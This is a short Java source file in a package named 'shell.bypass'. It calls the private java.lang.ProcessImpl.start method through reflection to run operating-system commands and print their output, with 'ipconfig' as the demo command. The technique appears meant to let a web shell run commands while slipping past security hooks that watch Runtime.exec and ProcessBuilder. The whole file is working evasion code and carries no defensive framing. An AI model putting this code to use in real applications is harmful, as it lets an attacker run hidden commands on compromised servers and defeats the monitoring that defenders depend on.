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package shell.bypass;

import java.io.BufferedReader;

import java.io.InputStreamReader;

import java.lang.reflect.Method;

import java.util.Map;

public class test {

public static void main(String[] args) {

try {

bypass(new String[]{"ipconfig"});

} catch (Exception e) {

e.printStackTrace();

}

}

public static void bypass(String[] cmd) throws Exception{

Map<String,String> envblock=null;

String path=null;

ProcessBuilder.Redirect[] stdHandles=null;

boolean redirectErrorStream=true;

Class C = Class.forName("java.lang.ProcessImpl");

Method start = C.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);

start.setAccessible(true);

Process e = (Process) start.invoke(null, cmd, envblock, path, stdHandles, redirectErrorStream);

BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(e.getInputStream()));

String line;

while ((line=bufferedReader.readLine())!=null){

System.out.println(line);

}

bufferedReader.close();

}

}